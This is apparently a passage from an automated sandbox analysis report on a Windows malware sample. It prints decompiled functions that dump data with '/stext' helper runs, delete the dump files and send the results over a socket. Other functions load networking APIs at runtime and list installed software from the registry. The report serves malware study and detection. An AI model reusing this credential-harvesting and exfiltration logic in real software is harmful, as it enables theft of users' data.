                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: _free$EnvironmentVariable$_wcschr
                                    • String ID:
                                    • API String ID: 3899193279-0
                                    • Opcode ID: e59a5d4720be3735c3583ecc21b3002b3d05f929497f546d3460778b80b6eaf5
                                    • Instruction ID: 0dbf295f55e7ea9106019ebdd9ac0fee3dd74098b39e35a2dfca1dfb4f15722e
                                    • Opcode Fuzzy Hash: e59a5d4720be3735c3583ecc21b3002b3d05f929497f546d3460778b80b6eaf5
                                    • Instruction Fuzzy Hash: 22D11871D003006FFB24AF759D8266BB7A8EF11324F06417FE905A7382EA3D9949875D
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00412A02 Relevance: 25.0, APIs: 9, Strings: 5, Instructions: 482sleepfileCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 95%
                                    			E00412A02() {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t165;
				void* _t168;
				void* _t174;
				void* _t180;
				void* _t186;
				void* _t192;
				void* _t198;
				void* _t212;
				void* _t217;
				void* _t222;
				void* _t223;
				void* _t254;
				void* _t255;
				void* _t291;
				void* _t292;
				void* _t293;
				void* _t294;
				char _t298;
				intOrPtr _t300;
				void* _t474;
				void* _t494;
				void* _t500;
				void* _t504;
				void* _t505;
				void* _t506;
				void* _t507;
				intOrPtr _t519;

				GetModuleFileNameW(0, _t505 + 0x178, 0x104);
				E004020DF(_t291, _t505 + 0xf8);
				E004020DF(_t291, _t505 + 0xe0);
				E004020DF(_t291, _t505 + 0xc8);
				_t494 = Sleep;
				_t504 = 0;
				do {
					 *((char*)(_t505 + 0x1b)) = 0;
					 *((char*)(_t505 + 0x19)) = 0;
					 *((char*)(_t505 + 0x1a)) = 0;
					E0040D936(_t505 + 0xb4, 0x30, E00401FAB(E0041B8CA(_t505 + 0x1c)));
					E00401FD8();
					E0040D936(_t505 + 0x9c, 0x30, E00401FAB(E0041B8CA(_t505 + 0x1c)));
					E00401FD8();
					_t165 = E00401FAB(E0041B8CA(_t505 + 0x1c));
					_t459 = 0x30;
					E0040D936(_t505 + 0x84, 0x30, _t165);
					E00401FD8();
					_t292 = 0;
					while(1) {
						_t168 = E00401FAB(_t505 + 0x3c8);
						_t174 = E00401F04(E00403014(_t292, _t505 + 0x20, E0040431D(_t292, _t505 + 0x58, E004042FC(_t292, _t505 + 0x74, _t505 + 0x194, _t504, 0, E0040417E(_t292, _t505 + 0x38, _t459, _t504, L" /stext \"")), _t504, 0, _t505 + 0xb4), _t494, _t504, 0, "\""));
						_t459 = _t168;
						 *((char*)(_t505 + 0x16)) = E004184BA(_t174);
						E00401F09();
						E00401F09();
						E00401F09();
						E00401F09();
						if( *((char*)(_t505 + 0x16)) != 0) {
							break;
						}
						Sleep(0xa);
						_t292 = _t292 + 1;
						if(_t292 < 0xa) {
							continue;
						}
						break;
					}
					_t293 = 0;
					while(1) {
						_t180 = E00401FAB(_t505 + 0x3f8);
						_t186 = E00401F04(E00403014(_t293, _t505 + 0x3c, E0040431D(_t293, _t505 + 0x70, E004042FC(_t293, _t505 + 0x5c, _t505 + 0x194, _t504, 0, E0040417E(_t293, _t505 + 0x1c, _t459, _t504, L" /stext \"")), _t504, 0, _t505 + 0x9c), _t494, _t504, 0, "\""));
						_t459 = _t180;
						 *((char*)(_t505 + 0x18)) = E004184BA(_t186);
						E00401F09();
						E00401F09();
						E00401F09();
						E00401F09();
						if( *((char*)(_t505 + 0x18)) != 0) {
							break;
						}
						Sleep(0xa);
						_t293 = _t293 + 1;
						if(_t293 < 0xa) {
							continue;
						}
						break;
					}
					_t294 = 0;
					while(1) {
						_t192 = E00401FAB(_t505 + 0x3e0);
						_t198 = E00401F04(E00403014(_t294, _t505 + 0x3c, E0040431D(_t294, _t505 + 0x70, E004042FC(_t294, _t505 + 0x5c, _t505 + 0x194, _t504, 0, E0040417E(_t294, _t505 + 0x1c, _t459, _t504, L" /stext \"")), _t504, 0, _t505 + 0x84), _t494, _t504, 0, "\""));
						_t459 = _t192;
						 *((char*)(_t505 + 0x17)) = E004184BA(_t198);
						E00401F09();
						E00401F09();
						E00401F09();
						E00401F09();
						if( *((char*)(_t505 + 0x17)) != 0) {
							break;
						}
						Sleep(0xa);
						_t294 = _t294 + 1;
						if(_t294 < 0xa) {
							continue;
						}
						break;
					}
					_t519 =  *((intOrPtr*)(_t505 + 0x16));
					_t60 = (0 | _t519 == 0x00000000) + 1; // 0x1
					_t62 = ( !=  ? _t519 == 0 : _t60) + 1; // 0x2
					_t296 =  !=  ?  !=  ? _t519 == 0 : _t60 : _t62;
					_t500 = 0;
					 *((intOrPtr*)(_t505 + 0x34)) =  !=  ?  !=  ? _t519 == 0 : _t60 : _t62;
					while(1) {
						E00401F04(_t505 + 0xb0);
						if(E0041C3D7(_t505 + 0xf8) != 0) {
							DeleteFileW(E00401F04(_t505 + 0xb0));
						}
						E00401F04(_t505 + 0x80);
						if(E0041C3D7(_t505 + 0xe0) == 0) {
							_t298 =  *((intOrPtr*)(_t505 + 0x19));
						} else {
							_t298 = 1;
							 *((char*)(_t505 + 0x19)) = 1;
							DeleteFileW(E00401F04(_t505 + 0x80));
						}
						E00401F04(_t505 + 0x98);
						_t471 = _t505 + 0xc8;
						if(E0041C3D7(_t505 + 0xc8) != 0) {
							 *((char*)(_t505 + 0x1a)) = 1;
							DeleteFileW(E00401F04(_t505 + 0x98));
						}
						if(_t298 != 0 && _t298 != 0 &&  *((char*)(_t505 + 0x1a)) != 0) {
							break;
						}
						Sleep(0x1f4);
						_t500 = _t500 + 1;
						if(_t500 < 0xa) {
							continue;
						}
						break;
					}
					_t212 = E00406B28();
					_t300 =  *((intOrPtr*)(_t505 + 0x34));
					if(_t212 == 0 || E00406B28() == 0 || E00406B28() == 0) {
						E00401F09();
						E00401F09();
						E00401F09();
					} else {
						goto L25;
					}
					L28:
					E0040B852(_t300, _t505 + 0x118, _t471, _t494, _t504, 0x2710, 0);
					_t217 = E00401F04(_t505 + 0x110);
					_t506 = _t505 - 0x18;
					E004020F6(_t300, _t506, _t471, _t533, _t506 + 0x428);
					E0041317B(_t506 + 0x50, _t217, _t217, _t504);
					_t507 = _t506 + 0x18;
					E00401F09();
					_t222 = E00405B05("0");
					_t474 = _t507 + 0x110;
					_t534 = _t222;
					if(_t222 == 0) {
						_t223 = E0041BC70(_t300, _t507 + 0x1c, _t474);
						E00402EA1(_t508, E00402F10(_t300, _t508 + 0x190, E00402F10(_t300, _t508 + 0x17c, E00402F10(_t300, _t508 + 0x168, E00402F10(_t300, _t508 + 0x154, E00402F10(_t300, _t508 + 0x68, E00402F10(_t300, _t508 + 0x9c, E00402F31(_t507 - 0x18 + 0x68, _t507 - 0x18 + 0x3c8, _t504, 0x474ee0), _t504, __eflags, _t508 + 0x128), _t504, __eflags, 0x474ee0), _t504, __eflags, _t508 + 0x108), _t504, __eflags, 0x474ee0), _t504, __eflags, _t508 + 0xe8), _t504, __eflags, 0x474ee0), _t223);
						_push(0x6a);
						E00404AA1(0x475430, _t233, __eflags);
						E00401FD8();
						E00401FD8();
						E00401FD8();
						E00401FD8();
						E00401FD8();
						E00401FD8();
						E00401FD8();
					} else {
						_t254 = E0041BC70(_t300, _t507 + 0x170, _t474);
						_t508 = _t507 - 0x18;
						_t255 = E0041BAE0(_t300, _t507 - 0x18 + 0x170, _t300);
						E00402EA1(_t508, E00402F10(_t300, _t508 + 0x58, E00402EA1(_t508 + 0x8c, E00402F10(_t300, _t508 + 0x78, E00402F10(_t300, _t508 + 0x48, E00402F10(_t300, _t508 + 0xe0, E00402F10(_t300, _t508 + 0xcc, E00402F10(_t300, _t508 + 0xb8, E00402F10(_t300, _t508 + 0x164, E00402F31(_t508 + 0x180, _t508 + 0x3f0, _t504, 0x474ee0), _t504, _t534, _t508 + 0x130), _t504, _t534, 0x474ee0), _t504, _t534, _t508 + 0x110), _t504, _t534, 0x474ee0), _t504, _t534, _t508 + 0xf0), _t504, _t534, 0x474ee0), _t255), _t504, _t534, 0x474ee0), _t254);
						_push(0x69);
						E00404AA1(0x475430, _t267, _t534);
						E00401FD8();
						E00401FD8();
						E00401FD8();
						E00401FD8();
						E00401FD8();
						E00401FD8();
						E00401FD8();
						E00401FD8();
						E00401FD8();
						E00401FD8();
					}
					E00401FD8();
					E00401F09();
					E00401FD8();
					E00401FD8();
					E00401FD8();
					E00401FD8();
					E00401FD8();
					E00401FD8();
					E00401FD8();
					E00401FD8();
					return E00401FD8();
					L25:
					Sleep(0x64);
					E00401F09();
					E00401F09();
					E00401F09();
					_t504 = _t504 + 1;
					_t533 = _t504 - 0xa;
				} while (_t504 < 0xa);
				goto L28;
			}


































                                    0x00412a1b
                                    0x00412a28
                                    0x00412a34
                                    0x00412a40
                                    0x00412a45
                                    0x00412a4b
                                    0x00412a4d
                                    0x00412a51
                                    0x00412a56
                                    0x00412a5b
                                    0x00412a76
                                    0x00412a80
                                    0x00412a9f
                                    0x00412aa9
                                    0x00412ab9
                                    0x00412abf
                                    0x00412ac8
                                    0x00412ad2
                                    0x00412ad7
                                    0x00412ad9
                                    0x00412ae0
                                    0x00412b2e
                                    0x00412b33
                                    0x00412b40
                                    0x00412b44
                                    0x00412b4d
                                    0x00412b56
                                    0x00412b5f
                                    0x00412b69
                                    0x00000000
                                    0x00000000
                                    0x00412b6d
                                    0x00412b6f
                                    0x00412b73
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00412b73
                                    0x00412b79
                                    0x00412b7b
                                    0x00412b82
                                    0x00412bd0
                                    0x00412bd5
                                    0x00412be2
                                    0x00412be6
                                    0x00412bef
                                    0x00412bf8
                                    0x00412c01
                                    0x00412c0b
                                    0x00000000
                                    0x00000000
                                    0x00412c0f
                                    0x00412c11
                                    0x00412c15
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00412c15
                                    0x00412c1b
                                    0x00412c1d
                                    0x00412c24
                                    0x00412c72
                                    0x00412c77
                                    0x00412c84
                                    0x00412c88
                                    0x00412c91
                                    0x00412c9a
                                    0x00412ca3
                                    0x00412cad
                                    0x00000000
                                    0x00000000
                                    0x00412cb1
                                    0x00412cb3
                                    0x00412cb7
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00412cb7
                                    0x00412cbf
                                    0x00412ccb
                                    0x00412cd6
                                    0x00412cd9
                                    0x00412cdc
                                    0x00412cde
                                    0x00412ce6
                                    0x00412ced
                                    0x00412d02
                                    0x00412d13
                                    0x00412d13
                                    0x00412d20
                                    0x00412d35
                                    0x00412d52
                                    0x00412d37
                                    0x00412d37
                                    0x00412d40
                                    0x00412d4a
                                    0x00412d4a
                                    0x00412d5d
                                    0x00412d62
                                    0x00412d72
                                    0x00412d7b
                                    0x00412d86
                                    0x00412d86
                                    0x00412d8e
                                    0x00000000
                                    0x00000000
                                    0x00412da0
                                    0x00412da2
                                    0x00412da6
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00412da6
                                    0x00412db3
                                    0x00412db8
                                    0x00412dbe
                                    0x00412e1b
                                    0x00412e27
                                    0x00412e33
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00412e38
                                    0x00412e46
                                    0x00412e52
                                    0x00412e57
                                    0x00412e66
                                    0x00412e71
                                    0x00412e76
                                    0x00412e7d
                                    0x00412e8e
                                    0x00412e93
                                    0x00412e9a
                                    0x00412e9c
                                    0x00412ffa
                                    0x00413092
                                    0x00413098
                                    0x0041309f
                                    0x004130ab
                                    0x004130b7
                                    0x004130c3
                                    0x004130cf
                                    0x004130d8
                                    0x004130e1
                                    0x004130ea
                                    0x00412ea2
                                    0x00412ea9
                                    0x00412eae
                                    0x00412ec3
                                    0x00412f6c
                                    0x00412f72
                                    0x00412f79
                                    0x00412f82
                                    0x00412f8b
                                    0x00412f94
                                    0x00412f9d
                                    0x00412fa9
                                    0x00412fb5
                                    0x00412fc1
                                    0x00412fcd
                                    0x00412fd9
                                    0x00412fe5
                                    0x00412fea
                                    0x004130f3
                                    0x004130ff
                                    0x0041310b
                                    0x00413117
                                    0x00413123
                                    0x0041312f
                                    0x0041313b
                                    0x00413147
                                    0x00413153
                                    0x0041315f
                                    0x0041317a
                                    0x00412de0
                                    0x00412de2
                                    0x00412deb
                                    0x00412df7
                                    0x00412e03
                                    0x00412e08
                                    0x00412e09
                                    0x00412e09
                                    0x00000000

                                    APIs
                                    • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00412A1B
                                      • Part of subcall function 0041B8CA: GetCurrentProcessId.KERNEL32(00000000,746CFBB0,00000000,?,?,?,?,00466468,0040D15B,.vbs,?,?,?,?,?,004752F0), ref: 0041B8F1
                                      • Part of subcall function 004184BA: CloseHandle.KERNEL32(004040F5,?,?,004040F5,00465E74), ref: 004184D0
                                      • Part of subcall function 004184BA: CloseHandle.KERNEL32(t^F,?,?,004040F5,00465E74), ref: 004184D9
                                    • Sleep.KERNEL32(0000000A,00465E74), ref: 00412B6D
                                    • Sleep.KERNEL32(0000000A,00465E74,00465E74), ref: 00412C0F
                                    • Sleep.KERNEL32(0000000A,00465E74,00465E74,00465E74), ref: 00412CB1
                                    • DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412D13
                                    • DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412D4A
                                    • DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412D86
                                    • Sleep.KERNEL32(000001F4,00465E74,00465E74,00465E74), ref: 00412DA0
                                    • Sleep.KERNEL32(00000064), ref: 00412DE2
                                      • Part of subcall function 00404AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 00404B36
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Sleep$File$Delete$CloseHandle$CurrentModuleNameProcesssend
                                    • String ID: /stext "$0TG$0TG$NG$NG
                                    • API String ID: 1223786279-2576077980
                                    • Opcode ID: 951eb9f6eb7dbe431a881425e0c56d43d8e9bb12774db1f347acec9b79238356
                                    • Instruction ID: bb40cb8d863384dd0b598486b6e171cde4bd1fb243f2bb01e857f3d3ef84c086
                                    • Opcode Fuzzy Hash: 951eb9f6eb7dbe431a881425e0c56d43d8e9bb12774db1f347acec9b79238356
                                    • Instruction Fuzzy Hash: 4B0255315083419AC325FB22D851AEFB3E5AFD4348F50483EF58A931E2EF785A4DC64A
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00414CD4 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109libraryloaderCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 100%
                                    			E00414CD4() {
				char _v264;
				char _v532;
				intOrPtr _v536;
				CHAR* _v540;
				intOrPtr _v544;
				CHAR* _v548;
				intOrPtr _v552;
				_Unknown_base(*)()* _t42;
				signed int _t52;
				struct HINSTANCE__* _t54;
				struct HINSTANCE__* _t57;
				intOrPtr* _t63;
				void* _t64;

				 *_t63 = "getaddrinfo";
				_v552 = E00414858;
				_v548 = "getnameinfo";
				_v544 = E00414AFE;
				_v540 = "freeaddrinfo";
				_v536 = E0041481D;
				if( *0x476b38 == 0) {
					if(GetSystemDirectoryA( &_v264, 0x104) != 0) {
						E0044198E( &_v532, 0x10c,  &_v264);
						E004419E8( &_v532, 0x10c, "\\ws2_32");
						_t64 = _t63 + 0x18;
						_t57 = LoadLibraryA( &_v532);
						_t54 = 0;
						if(_t57 == 0) {
							L6:
							E0044198E( &_v532, 0x10c,  &_v264);
							E004419E8( &_v532, 0x10c, "\\wship6");
							_t64 = _t64 + 0x18;
							_t57 = LoadLibraryA( &_v532);
							if(_t57 != 0) {
								if(GetProcAddress(_t57, "getaddrinfo") == 0) {
									FreeLibrary(_t57);
									_t57 = _t54;
								}
								if(_t57 != 0) {
									goto L10;
								}
							}
						} else {
							if(GetProcAddress(_t57, "getaddrinfo") == 0) {
								FreeLibrary(_t57);
								_t57 = 0;
							}
							if(_t57 != 0) {
								L10:
								_t52 = _t54;
								while(1) {
									_t42 = GetProcAddress(_t57,  *(_t64 + 0x10 + _t52 * 8));
									 *(_t64 + 0x14 + _t52 * 8) = _t42;
									if(_t42 == 0) {
										break;
									}
									_t52 = _t52 + 1;
									if(_t52 < 3) {
										continue;
									} else {
									}
									L15:
									if(_t57 != 0) {
										do {
											 *((intOrPtr*)(_t54 + 0x4719f8)) =  *((intOrPtr*)(_t64 + _t54 + 0x14));
											_t54 = _t54 + 8;
										} while (_t54 < 0x18);
									}
									goto L17;
								}
								FreeLibrary(_t57);
								_t57 = _t54;
								goto L15;
							} else {
								goto L6;
							}
						}
						L17:
					}
					 *0x476b38 = 1;
				}
				return  *0x4719f8;
			}
















                                    0x00414ce1
                                    0x00414ce8
                                    0x00414cf0
                                    0x00414cf8
                                    0x00414d00
                                    0x00414d08
                                    0x00414d10
                                    0x00414d2b
                                    0x00414d48
                                    0x00414d58
                                    0x00414d5d
                                    0x00414d71
                                    0x00414d79
                                    0x00414d7d
                                    0x00414d94
                                    0x00414da7
                                    0x00414db7
                                    0x00414dbc
                                    0x00414dca
                                    0x00414dce
                                    0x00414dda
                                    0x00414ddd
                                    0x00414ddf
                                    0x00414ddf
                                    0x00414de3
                                    0x00000000
                                    0x00000000
                                    0x00414de3
                                    0x00414d7f
                                    0x00414d89
                                    0x00414d8c
                                    0x00414d8e
                                    0x00414d8e
                                    0x00414d92
                                    0x00414de5
                                    0x00414de5
                                    0x00414de7
                                    0x00414dec
                                    0x00414df2
                                    0x00414df8
                                    0x00000000
                                    0x00000000
                                    0x00414dfa
                                    0x00414dfe
                                    0x00000000
                                    0x00000000
                                    0x00414e00
                                    0x00414e07
                                    0x00414e09
                                    0x00414e0b
                                    0x00414e0f
                                    0x00414e15
                                    0x00414e18
                                    0x00414e0b
                                    0x00000000
                                    0x00414e09
                                    0x00414e03
                                    0x00414e05
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00414d92
                                    0x00414e1d
                                    0x00414e20
                                    0x00414e21
                                    0x00414e21
                                    0x00414e36

                                    APIs
                                    • GetSystemDirectoryA.KERNEL32 ref: 00414D23
                                    • LoadLibraryA.KERNEL32(?), ref: 00414D65
                                    • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414D85
                                    • FreeLibrary.KERNEL32(00000000), ref: 00414D8C
                                    • LoadLibraryA.KERNEL32(?), ref: 00414DC4
                                    • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414DD6
                                    • FreeLibrary.KERNEL32(00000000), ref: 00414DDD
                                    • GetProcAddress.KERNEL32(00000000,?), ref: 00414DEC
                                    • FreeLibrary.KERNEL32(00000000), ref: 00414E03
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: Library$AddressFreeProc$Load$DirectorySystem
                                    • String ID: \ws2_32$\wship6$freeaddrinfo$getaddrinfo$getnameinfo
                                    • API String ID: 2490988753-744132762
                                    • Opcode ID: 6b1909a2b7b579ae7d880e374c1316a114296a7da198e6f76464c201eae92c08
                                    • Instruction ID: 41873f7cdeb67ae932efa3824933736e4108a3306bd15594b827d9e135de26d9
                                    • Opcode Fuzzy Hash: 6b1909a2b7b579ae7d880e374c1316a114296a7da198e6f76464c201eae92c08
                                    • Instruction Fuzzy Hash: 5E31D5B1601315ABC720AB55DC84EDFB7DCAF84754F40092BF85893211D778D9858AEE
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041C5E1 Relevance: 23.0, APIs: 6, Strings: 7, Instructions: 214registryCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 95%
                                    			E0041C5E1(void* __ebx, void* __ecx, void* __edx) {
				char _v1028;
				char _v1052;
				void* _v1056;
				char _v1076;
				void* _v1080;
				char _v1100;
				void* _v1104;
				char _v1124;
				void* _v1128;
				char _v1148;
				void* _v1152;
				char _v1172;
				void* _v1176;
				char _v1196;
				void* _v1200;
				char _v1220;
				void* _v1224;
				char _v1244;
				void* _v1248;
				char _v1268;
				void* _v1272;
				char _v1292;
				void* _v1296;
				char _v1316;
				void* _v1320;
				char _v1340;
				char _v1364;
				char _v1388;
				char _v1412;
				char _v1436;
				char _v1460;
				void* _v1464;
				char _v1484;
				int _v1488;
				void* _v1492;
				void* _v1496;
				void* __edi;
				void* __ebp;
				long _t73;
				long _t79;
				int _t86;
				void* _t188;
				int _t207;
				void* _t208;
				void* _t210;
				void** _t211;

				_t188 = __edx;
				_t130 = __ebx;
				_t211 =  &_v1496;
				_t208 = __ecx;
				if(RegOpenKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\Uninstall", 0, 0x20019,  &_v1492) == 0) {
					_v1488 = 0x400;
					_t207 = 0;
					E00401F86(__ebx,  &_v1460);
					_t73 = RegEnumKeyExA(_v1492, 0,  &_v1028,  &_v1488, 0, 0, 0, 0);
					_t210 = RegCloseKey;
					while(1) {
						__eflags = _t73 - 0x103;
						if(__eflags == 0) {
							break;
						}
						__eflags = _t73;
						if(_t73 != 0) {
							L8:
							_t207 = _t207 + 1;
							__eflags = _t207;
							_v1488 = 0x400;
						} else {
							_t79 = RegOpenKeyExA(_v1492,  &_v1028, 0, 0x20019,  &_v1496);
							__eflags = _t79;
							if(_t79 == 0) {
								E004135D5( &_v1484, _v1496, L"DisplayName");
								 *_t211 = L"Publisher";
								E004135D5( &_v1340, _v1496);
								 *_t211 = L"DisplayVersion";
								E004135D5( &_v1364, _v1496);
								 *_t211 = L"InstallLocation";
								E004135D5( &_v1388, _v1496);
								 *_t211 = L"InstallDate";
								E004135D5( &_v1412, _v1496);
								 *_t211 = L"UninstallString";
								E004135D5( &_v1436, _v1496);
								_t86 = E00406B28();
								__eflags = _t86;
								if(_t86 == 0) {
									E0040325D(E00403014(_t130,  &_v1316, E00403014(_t130,  &_v1292, E0040431D(_t130,  &_v1268, E00403014(_t130,  &_v1244, E0040431D(_t130,  &_v1220, E00403014(_t130,  &_v1196, E0040431D(_t130,  &_v1172, E00403014(_t130,  &_v1148, E0040431D(_t130,  &_v1124, E00403014(_t130,  &_v1100, E0040431D(_t130,  &_v1076, E0040915B( &_v1052,  &_v1484, _t210, 0x46c91c), _t210, __eflags,  &_v1364), _t207, _t210, __eflags, 0x46c91c), _t210, __eflags,  &_v1412), _t207, _t210, __eflags, 0x46c91c), _t210, __eflags,  &_v1340), _t207, _t210, __eflags, 0x46c91c), _t210, __eflags,  &_v1388), _t207, _t210, __eflags, 0x46c91c), _t210, __eflags,  &_v1436), _t207, _t210, __eflags, 0x46c91c), _t207, _t210, __eflags, "\n"));
									E00401F09();
									E00401F09();
									E00401F09();
									E00401F09();
									E00401F09();
									E00401F09();
									E00401F09();
									E00401F09();
									E00401F09();
									E00401F09();
									E00401F09();
									E00401F09();
								}
								RegCloseKey(_v1496);
								E00401F09();
								E00401F09();
								E00401F09();
								E00401F09();
								E00401F09();
								E00401F09();
								goto L8;
							}
						}
						__eflags = 0;
						_t73 = RegEnumKeyExA(_v1492, _t207,  &_v1028,  &_v1488, 0, 0, 0, 0);
					}
					RegCloseKey(_v1492);
					E00403262(_t130, _t208, _t210, __eflags,  &_v1460);
					E00401F09();
				} else {
					E0040417E(__ebx, _t208, _t188, 0, 0x466468);
				}
				return _t208;
			}

















































                                    0x0041c5e1
                                    0x0041c5e1
                                    0x0041c5e1
                                    0x0041c5f6
                                    0x0041c60b
                                    0x0041c622
                                    0x0041c62a
                                    0x0041c62c
                                    0x0041c647
                                    0x0041c64d
                                    0x0041c902
                                    0x0041c902
                                    0x0041c907
                                    0x00000000
                                    0x00000000
                                    0x0041c658
                                    0x0041c65a
                                    0x0041c8db
                                    0x0041c8db
                                    0x0041c8db
                                    0x0041c8dc
                                    0x0041c660
                                    0x0041c678
                                    0x0041c67e
                                    0x0041c680
                                    0x0041c693
                                    0x0041c6a3
                                    0x0041c6aa
                                    0x0041c6ba
                                    0x0041c6c1
                                    0x0041c6ce
                                    0x0041c6d5
                                    0x0041c6e2
                                    0x0041c6e9
                                    0x0041c6f6
                                    0x0041c6fd
                                    0x0041c707
                                    0x0041c70c
                                    0x0041c70e
                                    0x0041c804
                                    0x0041c810
                                    0x0041c81c
                                    0x0041c828
                                    0x0041c834
                                    0x0041c840
                                    0x0041c84c
                                    0x0041c858
                                    0x0041c864
                                    0x0041c870
                                    0x0041c87c
                                    0x0041c888
                                    0x0041c894
                                    0x0041c894
                                    0x0041c89d
                                    0x0041c8a3
                                    0x0041c8ac
                                    0x0041c8b5
                                    0x0041c8c1
                                    0x0041c8cd
                                    0x0041c8d6
                                    0x00000000
                                    0x0041c8d6
                                    0x0041c680
                                    0x0041c8e4
                                    0x0041c8fc
                                    0x0041c8fc
                                    0x0041c911
                                    0x0041c91a
                                    0x0041c923
                                    0x0041c60d
                                    0x0041c614
                                    0x0041c614
                                    0x0041c933

                                    APIs
                                    • RegOpenKeyExA.ADVAPI32(80000002,Software\Microsoft\Windows\CurrentVersion\Uninstall,00000000,00020019,?), ref: 0041C603
                                    • RegEnumKeyExA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 0041C647
                                    • RegCloseKey.ADVAPI32(?), ref: 0041C911
                                    Strings
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: CloseEnumOpen
                                    • String ID: DisplayName$DisplayVersion$InstallDate$InstallLocation$Publisher$Software\Microsoft\Windows\CurrentVersion\Uninstall$UninstallString
                                    • API String ID: 1332880857-3714951968
                                    • Opcode ID: b10b9d2f337a637f072cc18e87b32d3156964cc0d4d8507b8b078d68ab8220ba
                                    • Instruction ID: 5912e8671ceab33ac812153876217a189a0723834747c95c0024a0d7318d9420
                                    • Opcode Fuzzy Hash: b10b9d2f337a637f072cc18e87b32d3156964cc0d4d8507b8b078d68ab8220ba
                                    • Instruction Fuzzy Hash: 278143711082459BC325EF11D851EEFB7E8BFD4309F10482FB589921A1FF74AA49CA5A
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 0041D4E1 Relevance: 22.8, APIs: 12, Strings: 1, Instructions: 74windowCOMMON
                                    Download Yara Rule
                                    C-Code - Quality: 64%
                                    			E0041D4E1(void* __ecx, struct HWND__* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				struct tagPOINT _v12;
				void* _t16;
				struct HMENU__* _t17;
				void* _t20;
				void* _t24;

				_t16 = _a8 - 1;
				if(_t16 == 0) {
					_t17 = CreatePopupMenu();
					 *0x474b40 = _t17;
					AppendMenuA(_t17, 0, 0, "Close");
					L15:
					return 0;
				}
				_t20 = _t16 - 0x110;
				if(_t20 == 0) {
					if(_a12 != 0) {
						goto L15;
					}
					Shell_NotifyIconA(2, 0x474b48);
					ExitProcess(0);
				}
				if(_t20 == 0x2f0) {
					_t24 = _a16 - 0x201;
					if(_t24 == 0) {
						if(IsWindowVisible( *0x474b34) == 0) {
							ShowWindow( *0x474b34, 9);
							SetForegroundWindow( *0x474b34);
						} else {
							ShowWindow( *0x474b34, 0);
						}
						goto L15;
					}
					if(_t24 == 3) {
						GetCursorPos( &_v12);
						SetForegroundWindow(_a4);
						TrackPopupMenu( *0x474b40, 0, _v12, _v12.y, 0, _a4, 0);
						goto L15;
					}
					_push(_a16);
					_push(_a12);
					_push(0x401);
					L7:
					return DefWindowProcA(_a4, ??, ??, ??);
				}
				_push(_a16);
				_push(_a12);
				_push(_a8);
				goto L7;
			}








                                    0x0041d4e9
                                    0x0041d4ec
                                    0x0041d5bd
                                    0x0041d5ca
                                    0x0041d5d2
                                    0x0041d5d8
                                    0x00000000
                                    0x0041d5d8
                                    0x0041d4f2
                                    0x0041d4f7
                                    0x0041d5a6
                                    0x00000000
                                    0x00000000
                                    0x0041d5af
                                    0x0041d5b7
                                    0x0041d5b7
                                    0x0041d502
                                    0x0041d512
                                    0x0041d517
                                    0x0041d574
                                    0x0041d58e
                                    0x0041d59a
                                    0x0041d576
                                    0x0041d57e
                                    0x0041d57e
                                    0x00000000
                                    0x0041d574
                                    0x0041d51c
                                    0x0041d53b
                                    0x0041d544
                                    0x0041d55e
                                    0x00000000
                                    0x0041d55e
                                    0x0041d51e
                                    0x0041d521
                                    0x0041d524
                                    0x0041d529
                                    0x00000000
                                    0x0041d52c
                                    0x0041d504
                                    0x0041d507
                                    0x0041d50a
                                    0x00000000

                                    APIs
                                    • DefWindowProcA.USER32(?,00000401,?,?), ref: 0041D52C
                                    • GetCursorPos.USER32(?), ref: 0041D53B
                                    • SetForegroundWindow.USER32(?), ref: 0041D544
                                    • TrackPopupMenu.USER32(00000000,?,?,00000000,?,00000000), ref: 0041D55E
                                    • Shell_NotifyIconA.SHELL32(00000002,00474B48), ref: 0041D5AF
                                    • ExitProcess.KERNEL32 ref: 0041D5B7
                                    • CreatePopupMenu.USER32 ref: 0041D5BD
                                    • AppendMenuA.USER32 ref: 0041D5D2
                                    Strings
                                    Memory Dump Source
